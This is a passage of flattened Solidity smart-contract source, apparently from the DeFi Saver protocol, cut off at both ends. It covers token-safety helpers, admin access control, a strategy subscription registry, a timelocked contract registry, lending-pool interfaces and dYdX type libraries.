spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract AdminVault { address public owner; address public admin; constructor() { owner = msg.sender; admin = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; } /// @notice Admin is able to change owner /// @param _owner Address of new owner function changeOwner(address _owner) public { require(admin == msg.sender, "msg.sender not admin"); owner = _owner; } /// @notice Admin is able to set new admin /// @param _admin Address of multisig that becomes new admin function changeAdmin(address _admin) public { require(admin == msg.sender, "msg.sender not admin"); admin = _admin; } } contract AdminAuth { using SafeERC20 for IERC20; address public constant ADMIN_VAULT_ADDR = 0xCCf3d848e08b94478Ed8f46fFead3008faF581fD; AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR); modifier onlyOwner() { require(adminVault.owner() == msg.sender, "msg.sender not owner"); _; } modifier onlyAdmin() { require(adminVault.admin() == msg.sender, "msg.sender not admin"); _; } /// @notice withdraw stuck funds function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner { if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(_receiver).transfer(_amount); } else { IERC20(_token).safeTransfer(_receiver, _amount); } } /// @notice Destroy the contract function kill() public onlyAdmin { selfdestruct(payable(msg.sender)); } } abstract contract IDSProxy { // function execute(bytes memory _code, bytes memory _data) // public // payable // virtual // returns (address, bytes32); function execute(address _target, bytes memory _data) public payable virtual returns (bytes32); function setCache(address _cacheAddr) public payable virtual returns (bool); function owner() public view virtual returns (address); } contract DefisaverLogger { event LogEvent( address indexed contractAddress, address indexed caller, string indexed logName, bytes data ); // solhint-disable-next-line func-name-mixedcase function Log( address _contract, address _caller, string memory _logName, bytes memory _data ) public { emit LogEvent(_contract, _caller, _logName, _data); } } contract StrategyData { struct Template { string name; bytes32[] triggerIds; bytes32[] actionIds; uint8[][] paramMapping; } struct Task { string name; bytes[][] callData; bytes[][] subData; bytes32[] actionIds; uint8[][] paramMapping; } struct Strategy { uint templateId; address proxy; bytes[][] subData; bytes[][] triggerData; bool active; uint posInUserArr; } } contract Subscriptions is StrategyData, AdminAuth { DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); string public constant ERR_EMPTY_STRATEGY = "Strategy does not exist"; string public constant ERR_SENDER_NOT_OWNER = "Sender is not strategy owner"; string public constant ERR_USER_POS_EMPTY = "No user positions"; /// @dev The order of strategies might change as they are deleted Strategy[] public strategies; /// @dev Templates are fixed and are non removable Template[] public templates; /// @dev Keeps track of all the users strategies (their indexes in the array) mapping (address => uint[]) public usersPos; /// @dev Increments on state change, used for easier off chain tracking of changes uint public updateCounter; /// @notice Creates a new strategy with an existing template /// @param _templateId Id of the template used for strategy /// @param _active If the strategy is turned on at the start /// @param _subData Subscription data for actions /// @param _triggerData Subscription data for triggers function createStrategy( uint _templateId, bool _active, bytes[][] memory _subData, bytes[][] memory _triggerData ) public returns (uint) { strategies.push( Strategy({ templateId: _templateId, proxy: msg.sender, active: _active, subData: _subData, triggerData: _triggerData, posInUserArr: (usersPos[msg.sender].length - 1) }) ); usersPos[msg.sender].push(strategies.length - 1); updateCounter++; logger.Log(address(this), msg.sender, "CreateStrategy", abi.encode(strategies.length - 1)); return strategies.length - 1; } /// @notice Creates a new template to use in strategies /// @dev Templates once created can't be changed /// @param _name Name of template, used mainly for logging /// @param _triggerIds Array of trigger ids which translate to trigger addresses /// @param _actionIds Array of actions ids which translate to action addresses /// @param _paramMapping Array that holds metadata of how inputs are mapped to sub/return data function createTemplate( string memory _name, bytes32[] memory _triggerIds, bytes32[] memory _actionIds, uint8[][] memory _paramMapping ) public returns (uint) { templates.push( Template({ name: _name, triggerIds: _triggerIds, actionIds: _actionIds, paramMapping: _paramMapping }) ); updateCounter++; logger.Log(address(this), msg.sender, "CreateTemplate", abi.encode(templates.length - 1)); return templates.length - 1; } /// @notice Updates the users strategy /// @dev Only callable by proxy who created the strategy /// @param _strategyId Id of the strategy to update /// @param _templateId Id of the template used for strategy /// @param _active If the strategy is turned on at the start /// @param _subData Subscription data for actions /// @param _triggerData Subscription data for triggers function updateStrategy( uint _strategyId, uint _templateId, bool _active, bytes[][] memory _subData, bytes[][] memory _triggerData ) public { Strategy storage s = strategies[_strategyId]; require(s.proxy != address(0), ERR_EMPTY_STRATEGY); require(msg.sender == s.proxy, ERR_SENDER_NOT_OWNER); s.templateId = _templateId; s.active = _active; s.subData = _subData; s.triggerData = _triggerData; updateCounter++; logger.Log(address(this), msg.sender, "UpdateStrategy", abi.encode(_strategyId)); } /// @notice Unsubscribe an existing strategy /// @dev Only callable by proxy who created the strategy /// @param _subId Subscription id function removeStrategy(uint256 _subId) public { Strategy memory s = strategies[_subId]; require(s.proxy != address(0), ERR_EMPTY_STRATEGY); require(msg.sender == s.proxy, ERR_SENDER_NOT_OWNER); uint lastSub = strategies.length - 1; _removeUserPos(msg.sender, s.posInUserArr); strategies[_subId] = strategies[lastSub]; // last strategy put in place of the deleted one strategies.pop(); // delete last strategy, because it moved logger.Log(address(this), msg.sender, "Unsubscribe", abi.encode(_subId)); } function _removeUserPos(address _user, uint _index) internal { require(usersPos[_user].length > 0, ERR_USER_POS_EMPTY); uint lastPos = usersPos[_user].length - 1; usersPos[_user][_index] = usersPos[_user][lastPos]; usersPos[_user].pop(); } ///////////////////// VIEW ONLY FUNCTIONS //////////////////////////// function getTemplateFromStrategy(uint _strategyId) public view returns (Template memory) { uint templateId = strategies[_strategyId].templateId; return templates[templateId]; } function getStrategy(uint _strategyId) public view returns (Strategy memory) { return strategies[_strategyId]; } function getTemplate(uint _templateId) public view returns (Template memory) { return templates[_templateId]; } function getStrategyCount() public view returns (uint256) { return strategies.length; } function getTemplateCount() public view returns (uint256) { return templates.length; } function getStrategies() public view returns (Strategy[] memory) { return strategies; } function getTemplates() public view returns (Template[] memory) { return templates; } function userHasStrategies(address _user) public view returns (bool) { return usersPos[_user].length > 0; } function getUserStrategies(address _user) public view returns (Strategy[] memory) { Strategy[] memory userStrategies = new Strategy[](usersPos[_user].length); for (uint i = 0; i < usersPos[_user].length; ++i) { userStrategies[i] = strategies[usersPos[_user][i]]; } return userStrategies; } function getPaginatedStrategies(uint _page, uint _perPage) public view returns (Strategy[] memory) { Strategy[] memory strategiesPerPage = new Strategy[](_perPage); uint start = _page * _perPage; uint end = start + _perPage; end = (end > strategiesPerPage.length) ? strategiesPerPage.length : end; uint count = 0; for (uint i = start; i < end; i++) { strategiesPerPage[count] = strategies[i]; count++; } return strategiesPerPage; } function getPaginatedTemplates(uint _page, uint _perPage) public view returns (Template[] memory) { Template[] memory templatesPerPage = new Template[](_perPage); uint start = _page * _perPage; uint end = start + _perPage; end = (end > templatesPerPage.length) ? templatesPerPage.length : end; uint count = 0; for (uint i = start; i < end; i++) { templatesPerPage[count] = templates[i]; count++; } return templatesPerPage; } } abstract contract ILendingPool { function flashLoan( address payable _receiver, address _reserve, uint256 _amount, bytes calldata _params ) external virtual; function deposit( address _reserve, uint256 _amount, uint16 _referralCode ) external payable virtual; function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external virtual; function borrow( address _reserve, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode ) external virtual; function repay( address _reserve, uint256 _amount, address payable _onBehalfOf ) external payable virtual; function swapBorrowRateMode(address _reserve) external virtual; function getReserves() external view virtual returns (address[] memory); /// @param _reserve underlying token address function getReserveData(address _reserve) external view virtual returns ( uint256 totalLiquidity, // reserve total liquidity uint256 availableLiquidity, // reserve available liquidity for borrowing uint256 totalBorrowsStable, // total amount of outstanding borrows at Stable rate uint256 totalBorrowsVariable, // total amount of outstanding borrows at Variable rate uint256 liquidityRate, // current deposit APY of the reserve for depositors, in Ray units. uint256 variableBorrowRate, // current variable rate APY of the reserve pool, in Ray units. uint256 stableBorrowRate, // current stable rate APY of the reserve pool, in Ray units. uint256 averageStableBorrowRate, // current average stable borrow rate uint256 utilizationRate, // expressed as total borrows/total liquidity. uint256 liquidityIndex, // cumulative liquidity index uint256 variableBorrowIndex, // cumulative variable borrow index address aTokenAddress, // aTokens contract address for the specific _reserve uint40 lastUpdateTimestamp // timestamp of the last update of reserve data ); /// @param _user users address function getUserAccountData(address _user) external view virtual returns ( uint256 totalLiquidityETH, // user aggregated deposits across all the reserves. In Wei uint256 totalCollateralETH, // user aggregated collateral across all the reserves. In Wei uint256 totalBorrowsETH, // user aggregated outstanding borrows across all the reserves. In Wei uint256 totalFeesETH, // user aggregated current outstanding fees in ETH. In Wei uint256 availableBorrowsETH, // user available amount to borrow in ETH uint256 currentLiquidationThreshold, // user current average liquidation threshold across all the collaterals deposited uint256 ltv, // user average Loan-to-Value between all the collaterals uint256 healthFactor // user current Health Factor ); /// @param _reserve underlying token address /// @param _user users address function getUserReserveData(address _reserve, address _user) external view virtual returns ( uint256 currentATokenBalance, // user current reserve aToken balance uint256 currentBorrowBalance, // user current reserve outstanding borrow balance uint256 principalBorrowBalance, // user balance of borrowed asset uint256 borrowRateMode, // user borrow rate mode either Stable or Variable uint256 borrowRate, // user current borrow rate APY uint256 liquidityRate, // user current earn rate on _reserve uint256 originationFee, // user outstanding loan origination fee uint256 variableBorrowIndex, // user variable cumulative index uint256 lastUpdateTimestamp, // Timestamp of the last data update bool usageAsCollateralEnabled // Whether the user's current reserve is enabled as a collateral ); function getReserveConfigurationData(address _reserve) external view virtual returns ( uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, address rateStrategyAddress, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive ); // ------------------ LendingPoolCoreData ------------------------ function getReserveATokenAddress(address _reserve) public view virtual returns (address); function getReserveConfiguration(address _reserve) external view virtual returns ( uint256, uint256, uint256, bool ); function getUserUnderlyingAssetBalance(address _reserve, address _user) public view virtual returns (uint256); function getReserveCurrentLiquidityRate(address _reserve) public view virtual returns (uint256); function getReserveCurrentVariableBorrowRate(address _reserve) public view virtual returns (uint256); function getReserveTotalLiquidity(address _reserve) public view virtual returns (uint256); function getReserveAvailableLiquidity(address _reserve) public view virtual returns (uint256); function getReserveTotalBorrowsVariable(address _reserve) public view virtual returns (uint256); // ---------------- LendingPoolDataProvider --------------------- function calculateUserGlobalData(address _user) public view virtual returns ( uint256 totalLiquidityBalanceETH, uint256 totalCollateralBalanceETH, uint256 totalBorrowBalanceETH, uint256 totalFeesETH, uint256 currentLtv, uint256 currentLiquidationThreshold, uint256 healthFactor, bool healthFactorBelowThreshold ); } abstract contract IWETH { function allowance(address, address) public virtual view returns (uint256); function balanceOf(address) public virtual view returns (uint256); function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual returns (bool); function transferFrom( address, address, uint256 ) public virtual returns (bool); function deposit() public payable virtual; function withdraw(uint256) public virtual; } abstract contract IFLParamGetter { function getFlashLoanParams(bytes memory _data) public view virtual returns ( address[] memory tokens, uint256[] memory amount, uint256[] memory modes ); } abstract contract ILendingPoolAddressesProvider { function getLendingPool() public view virtual returns (address); function setLendingPoolImpl(address _pool) public virtual; function getLendingPoolCore() public view virtual returns (address payable); function setLendingPoolCoreImpl(address _lendingPoolCore) public virtual; function getLendingPoolConfigurator() public view virtual returns (address); function setLendingPoolConfiguratorImpl(address _configurator) public virtual; function getLendingPoolDataProvider() public view virtual returns (address); function setLendingPoolDataProviderImpl(address _provider) public virtual; function getLendingPoolParametersProvider() public view virtual returns (address); function setLendingPoolParametersProviderImpl(address _parametersProvider) public virtual; function getTokenDistributor() public view virtual returns (address); function setTokenDistributor(address _tokenDistributor) public virtual; function getFeeProvider() public view virtual returns (address); function setFeeProviderImpl(address _feeProvider) public virtual; function getLendingPoolLiquidationManager() public view virtual returns (address); function setLendingPoolLiquidationManager(address _manager) public virtual; function getLendingPoolManager() public view virtual returns (address); function setLendingPoolManager(address _lendingPoolManager) public virtual; function getPriceOracle() public view virtual returns (address); function setPriceOracle(address _priceOracle) public virtual; function getLendingRateOracle() public view virtual returns (address); function setLendingRateOracle(address _lendingRateOracle) public virtual; } library EthAddressLib { function ethAddress() internal pure returns (address) { return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; } } library TokenUtils { using SafeERC20 for IERC20; address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; function approveToken( address _tokenAddr, address _to, uint256 _amount ) internal { if (_tokenAddr == ETH_ADDR) return; if (IERC20(_tokenAddr).allowance(address(this), _to) < _amount) { IERC20(_tokenAddr).safeApprove(_to, _amount); } } function pullTokensIfNeeded( address _token, address _from, uint256 _amount ) internal returns (uint256) { // handle max uint amount if (_amount == type(uint256).max) { _amount = getBalance(_token, _from); } if (_from != address(0) && _from != address(this) && _token != ETH_ADDR && _amount != 0) { IERC20(_token).safeTransferFrom(_from, address(this), _amount); } return _amount; } function withdrawTokens( address _token, address _to, uint256 _amount ) internal returns (uint256) { if (_amount == type(uint256).max) { _amount = getBalance(_token, address(this)); } if (_to != address(0) && _to != address(this) && _amount != 0) { if (_token != ETH_ADDR) { IERC20(_token).safeTransfer(_to, _amount); } else { payable(_to).transfer(_amount); } } return _amount; } function depositWeth(uint256 _amount) internal { IWETH(WETH_ADDR).deposit{value: _amount}(); } function withdrawWeth(uint256 _amount) internal { IWETH(WETH_ADDR).withdraw(_amount); } function getBalance(address _tokenAddr, address _acc) internal view returns (uint256) { if (_tokenAddr == ETH_ADDR) { return _acc.balance; } else { return IERC20(_tokenAddr).balanceOf(_acc); } } function getTokenDecimals(address _token) internal view returns (uint256) { if (_token == ETH_ADDR) return 18; return IERC20(_token).decimals(); } } contract FLFeeFaucet { using SafeERC20 for IERC20; /// @notice Sends 2 wei to msg.sender /// @dev Anyone can call this method but it's not economically feasible to drain /// @param _tokenAddr Address of the token we want 2 wei function my2Wei(address _tokenAddr) public { IERC20(_tokenAddr).safeTransfer(msg.sender, 2); } } abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract DFSRegistry is AdminAuth { DefisaverLogger public constant logger = DefisaverLogger( 0x5c55B921f590a89C1Ebe84dF170E655a82b62126 ); string public constant ERR_ENTRY_ALREADY_EXISTS = "Entry id already exists"; string public constant ERR_ENTRY_NON_EXISTENT = "Entry id doesn't exists"; string public constant ERR_ENTRY_NOT_IN_CHANGE = "Entry not in change process"; string public constant ERR_WAIT_PERIOD_SHORTER = "New wait period must be bigger"; string public constant ERR_CHANGE_NOT_READY = "Change not ready yet"; string public constant ERR_EMPTY_PREV_ADDR = "Previous addr is 0"; string public constant ERR_ALREADY_IN_CONTRACT_CHANGE = "Already in contract change"; string public constant ERR_ALREADY_IN_WAIT_PERIOD_CHANGE = "Already in wait period change"; struct Entry { address contractAddr; uint256 waitPeriod; uint256 changeStartTime; bool inContractChange; bool inWaitPeriodChange; bool exists; } mapping(bytes32 => Entry) public entries; mapping(bytes32 => address) public previousAddresses; mapping(bytes32 => address) public pendingAddresses; mapping(bytes32 => uint256) public pendingWaitTimes; /// @notice Given an contract id returns the registered address /// @dev Id is keccak256 of the contract name /// @param _id Id of contract function getAddr(bytes32 _id) public view returns (address) { return entries[_id].contractAddr; } /// @notice Helper function to easily query if id is registered /// @param _id Id of contract function isRegistered(bytes32 _id) public view returns (bool) { return entries[_id].exists; } /////////////////////////// OWNER ONLY FUNCTIONS /////////////////////////// /// @notice Adds a new contract to the registry /// @param _id Id of contract /// @param _contractAddr Address of the contract /// @param _waitPeriod Amount of time to wait before a contract address can be changed function addNewContract( bytes32 _id, address _contractAddr, uint256 _waitPeriod ) public onlyOwner { require(!entries[_id].exists, ERR_ENTRY_ALREADY_EXISTS); entries[_id] = Entry({ contractAddr: _contractAddr, waitPeriod: _waitPeriod, changeStartTime: 0, inContractChange: false, inWaitPeriodChange: false, exists: true }); // Remember tha address so we can revert back to old addr if needed previousAddresses[_id] = _contractAddr; logger.Log( address(this), msg.sender, "AddNewContract", abi.encode(_id, _contractAddr, _waitPeriod) ); } /// @notice Reverts to the previous address immediately /// @dev In case the new version has a fault, a quick way to fallback to the old contract /// @param _id Id of contract function revertToPreviousAddress(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(previousAddresses[_id] != address(0), ERR_EMPTY_PREV_ADDR); address currentAddr = entries[_id].contractAddr; entries[_id].contractAddr = previousAddresses[_id]; logger.Log( address(this), msg.sender, "RevertToPreviousAddress", abi.encode(_id, currentAddr, previousAddresses[_id]) ); } /// @notice Starts an address change for an existing entry /// @dev Can override a change that is currently in progress /// @param _id Id of contract /// @param _newContractAddr Address of the new contract function startContractChange(bytes32 _id, address _newContractAddr) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(!entries[_id].inWaitPeriodChange, ERR_ALREADY_IN_WAIT_PERIOD_CHANGE); entries[_id].changeStartTime = block.timestamp; // solhint-disable-line entries[_id].inContractChange = true; pendingAddresses[_id] = _newContractAddr; logger.Log( address(this), msg.sender, "StartContractChange", abi.encode(_id, entries[_id].contractAddr, _newContractAddr) ); } /// @notice Changes new contract address, correct time must have passed /// @param _id Id of contract function approveContractChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inContractChange, ERR_ENTRY_NOT_IN_CHANGE); require( block.timestamp >= (entries[_id].changeStartTime + entries[_id].waitPeriod), // solhint-disable-line ERR_CHANGE_NOT_READY ); address oldContractAddr = entries[_id].contractAddr; entries[_id].contractAddr = pendingAddresses[_id]; entries[_id].inContractChange = false; entries[_id].changeStartTime = 0; pendingAddresses[_id] = address(0); previousAddresses[_id] = oldContractAddr; logger.Log( address(this), msg.sender, "ApproveContractChange", abi.encode(_id, oldContractAddr, entries[_id].contractAddr) ); } /// @notice Cancel pending change /// @param _id Id of contract function cancelContractChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inContractChange, ERR_ENTRY_NOT_IN_CHANGE); address oldContractAddr = pendingAddresses[_id]; pendingAddresses[_id] = address(0); entries[_id].inContractChange = false; entries[_id].changeStartTime = 0; logger.Log( address(this), msg.sender, "CancelContractChange", abi.encode(_id, oldContractAddr, entries[_id].contractAddr) ); } /// @notice Starts the change for waitPeriod /// @param _id Id of contract /// @param _newWaitPeriod New wait time function startWaitPeriodChange(bytes32 _id, uint256 _newWaitPeriod) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(!entries[_id].inContractChange, ERR_ALREADY_IN_CONTRACT_CHANGE); pendingWaitTimes[_id] = _newWaitPeriod; entries[_id].changeStartTime = block.timestamp; // solhint-disable-line entries[_id].inWaitPeriodChange = true; logger.Log( address(this), msg.sender, "StartWaitPeriodChange", abi.encode(_id, _newWaitPeriod) ); } /// @notice Changes new wait period, correct time must have passed /// @param _id Id of contract function approveWaitPeriodChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inWaitPeriodChange, ERR_ENTRY_NOT_IN_CHANGE); require( block.timestamp >= (entries[_id].changeStartTime + entries[_id].waitPeriod), // solhint-disable-line ERR_CHANGE_NOT_READY ); uint256 oldWaitTime = entries[_id].waitPeriod; entries[_id].waitPeriod = pendingWaitTimes[_id]; entries[_id].inWaitPeriodChange = false; entries[_id].changeStartTime = 0; pendingWaitTimes[_id] = 0; logger.Log( address(this), msg.sender, "ApproveWaitPeriodChange", abi.encode(_id, oldWaitTime, entries[_id].waitPeriod) ); } /// @notice Cancel wait period change /// @param _id Id of contract function cancelWaitPeriodChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inWaitPeriodChange, ERR_ENTRY_NOT_IN_CHANGE); uint256 oldWaitPeriod = pendingWaitTimes[_id]; pendingWaitTimes[_id] = 0; entries[_id].inWaitPeriodChange = false; entries[_id].changeStartTime = 0; logger.Log( address(this), msg.sender, "CancelWaitPeriodChange", abi.encode(_id, oldWaitPeriod, entries[_id].waitPeriod) ); } } abstract contract ActionBase is AdminAuth { address public constant REGISTRY_ADDR = 0xD6049E1F5F3EfF1F921f5532aF1A1632bA23929C; DFSRegistry public constant registry = DFSRegistry(REGISTRY_ADDR); DefisaverLogger public constant logger = DefisaverLogger( 0x5c55B921f590a89C1Ebe84dF170E655a82b62126 ); string public constant ERR_SUB_INDEX_VALUE = "Wrong sub index value"; string public constant ERR_RETURN_INDEX_VALUE = "Wrong return index value"; /// @dev Subscription params index range [128, 255] uint8 public constant SUB_MIN_INDEX_VALUE = 128; uint8 public constant SUB_MAX_INDEX_VALUE = 255; /// @dev Return params index range [1, 127] uint8 public constant RETURN_MIN_INDEX_VALUE = 1; uint8 public constant RETURN_MAX_INDEX_VALUE = 127; /// @dev If the input value should not be replaced uint8 public constant NO_PARAM_MAPPING = 0; /// @dev We need to parse Flash loan actions in a different way enum ActionType { FL_ACTION, STANDARD_ACTION, CUSTOM_ACTION } /// @notice Parses inputs and runs the implemented action through a proxy /// @dev Is called by the TaskExecutor chaining actions together /// @param _callData Array of input values each value encoded as bytes /// @param _subData Array of subscribed vales, replaces input values if specified /// @param _paramMapping Array that specifies how return and subscribed values are mapped in input /// @param _returnValues Returns values from actions before, which can be injected in inputs /// @return Returns a bytes32 value through DSProxy, each actions implements what that value is function executeAction( bytes[] memory _callData, bytes[] memory _subData, uint8[] memory _paramMapping, bytes32[] memory _returnValues ) public payable virtual returns (bytes32); /// @notice Parses inputs and runs the single implemented action through a proxy /// @dev Used to save gas when executing a single action directly function executeActionDirect(bytes[] memory _callData) public virtual payable; /// @notice Returns the type of action we are implementing function actionType() public pure virtual returns (uint8); //////////////////////////// HELPER METHODS //////////////////////////// /// @notice Given an uint256 input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamUint( uint _param, uint8 _mapType, bytes[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (uint) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = uint(_returnValues[getReturnIndex(_mapType)]); } else { _param = abi.decode(_subData[getSubIndex(_mapType)], (uint)); } } return _param; } /// @notice Given an addr input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamAddr( address _param, uint8 _mapType, bytes[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (address) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = address(bytes20((_returnValues[getReturnIndex(_mapType)]))); } else { _param = abi.decode(_subData[getSubIndex(_mapType)], (address)); } } return _param; } /// @notice Given an bytes32 input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamABytes32( bytes32 _param, uint8 _mapType, bytes[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (bytes32) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = (_returnValues[getReturnIndex(_mapType)]); } else { _param = abi.decode(_subData[getSubIndex(_mapType)], (bytes32)); } } return _param; } /// @notice Checks if the paramMapping value indicated that we need to inject values /// @param _type Indicated the type of the input function isReplaceable(uint8 _type) internal pure returns (bool) { return _type != NO_PARAM_MAPPING; } /// @notice Checks if the paramMapping value is in the return value range /// @param _type Indicated the type of the input function isReturnInjection(uint8 _type) internal pure returns (bool) { return (_type >= RETURN_MIN_INDEX_VALUE) && (_type <= RETURN_MAX_INDEX_VALUE); } /// @notice Transforms the paramMapping value to the index in return array value /// @param _type Indicated the type of the input function getReturnIndex(uint8 _type) internal pure returns (uint8) { require(isReturnInjection(_type), ERR_SUB_INDEX_VALUE); return (_type - RETURN_MIN_INDEX_VALUE); } /// @notice Transforms the paramMapping value to the index in sub array value /// @param _type Indicated the type of the input function getSubIndex(uint8 _type) internal pure returns (uint8) { require(_type >= SUB_MIN_INDEX_VALUE, ERR_RETURN_INDEX_VALUE); return (_type - SUB_MIN_INDEX_VALUE); } } library Account { enum Status {Normal, Liquid, Vapor} struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } struct Storage { mapping(uint256 => Types.Par) balances; // Mapping from marketId to principal Status status; } } library Actions { enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (public virtually) Sell, // sell an amount of some token (public virtually) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } enum AccountLayout {OnePrimary, TwoPrimary, PrimaryAndSecondary} enum MarketLayout {ZeroMarkets, OneMarket, TwoMarkets} struct ActionArgs { ActionType actionType; uint256 accountId; Types.AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } struct DepositArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address from; } struct WithdrawArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address to; } struct TransferArgs { Types.AssetAmount amount; Account.Info accountOne; Account.Info accountTwo; uint256 market; } struct BuyArgs { Types.AssetAmount amount; Account.Info account; uint256 makerMarket; uint256 takerMarket; address exchangeWrapper; bytes orderData; } struct SellArgs { Types.AssetAmount amount; Account.Info account; uint256 takerMarket; uint256 makerMarket; address exchangeWrapper; bytes orderData; } struct TradeArgs { Types.AssetAmount amount; Account.Info takerAccount; Account.Info makerAccount; uint256 inputMarket; uint256 outputMarket; address autoTrader; bytes tradeData; } struct LiquidateArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info liquidAccount; uint256 owedMarket; uint256 heldMarket; } struct VaporizeArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info vaporAccount; uint256 owedMarket; uint256 heldMarket; } struct CallArgs { Account.Info account; address callee; bytes data; } } library Decimal { struct D256 { uint256 value; } } library Interest { struct Rate { uint256 value; } struct Index { uint96 borrow; uint96 supply; uint32 lastUpdate; } } library Monetary { struct Price { uint256 value; } struct Value { uint256 value; } } library Storage { // All information necessary for tracking a market struct Market { // Contract address of the associated ERC20 token address token; // Total aggregated supply and borrow amount of the entire market Types.TotalPar totalPar; // Interest index of the market Interest.Index index; // Contract address of the price oracle for this market address priceOracle; // Contract address of the interest setter for this market address interestSetter; // Multiplier on the marginRatio for this market Decimal.D256 marginPremium; // Multiplier on the liquidationSpread for this market Decimal.D256 spreadPremium; // Whether additional borrows are allowed for this market bool isClosing; } // The global risk parameters that govern the health and security of the system struct RiskParams { // Required ratio of over-collateralization Decimal.D256 marginRatio; // Percentage penalty incurred by liquidated accounts Decimal.D256 liquidationSpread; // Percentage of the borrower's interest fee that gets passed to the suppliers Decimal.D256 earningsRate; // The minimum absolute borrow value of an account // There must be sufficient incentivize to liquidate undercollateralized accounts Monetary.Value minBorrowedValue; } // The maximum RiskParam values that can be set struct RiskLimits { uint64 marginRatioMax; uint64 liquidationSpreadMax; uint64 earningsRateMax; uint64 marginPremiumMax; uint64 spreadPremiumMax; uint128 minBorrowedValueMax; } // The entire storage state of Solo struct State { // number of markets uint256 numMarkets; // marketId => Market mapping(uint256 => Market) markets; // owner => account number => Account mapping(address => mapping(uint256 => Account.Storage)) accounts; // Addresses that can control other users accounts mapping(address => mapping(address => bool)) operators; // Addresses that can control all users accounts mapping(address => bool) globalOperators; // mutable risk parameters of the system RiskParams riskParams; // immutable risk limits of the system RiskLimits riskLimits; } } library Types { enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } struct TotalPar { uint128 borrow; uint128 supply; } struct Par { bool sign; // true if positive uint128 value; } struct Wei { bool sign; // true if 